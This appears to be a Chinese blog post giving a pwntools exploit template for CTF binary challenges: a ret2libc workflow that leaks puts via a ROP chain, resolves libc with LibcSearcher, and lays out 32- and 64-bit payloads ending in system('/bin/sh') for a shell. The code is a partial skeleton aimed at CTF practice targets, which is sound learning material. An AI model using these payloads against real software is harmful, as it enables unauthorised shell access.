pwn 中exp(python)模板构建

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')     #32位
context(os='linux', arch='amd64', log_level='debug')   #64位
#host='node4.buuoj.cn'
#port=25494
#io=remote(host,port)
io=process()
elf=ELF()
​
junk=...
main= elf.symbols['main']
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
#构造ROP链之前接受的地址
addr=u32(io.recv()[0:4]) #32位
addr = u64(io.recvline()[:-1].ljust(8, b'\0'))  #
#构造ROP链
libc=LibcSearcher('puts',puts_addr)  #利用LibcSearcher模块找到匹配的libc版本
base=puts_addr-libc.dump('puts')     #利用的时候不一定是puts溢出
bin_sh=base+libc.dump('str_bin_sh')
system=base+libc.dump('system')
payload的构造:
判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(main)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值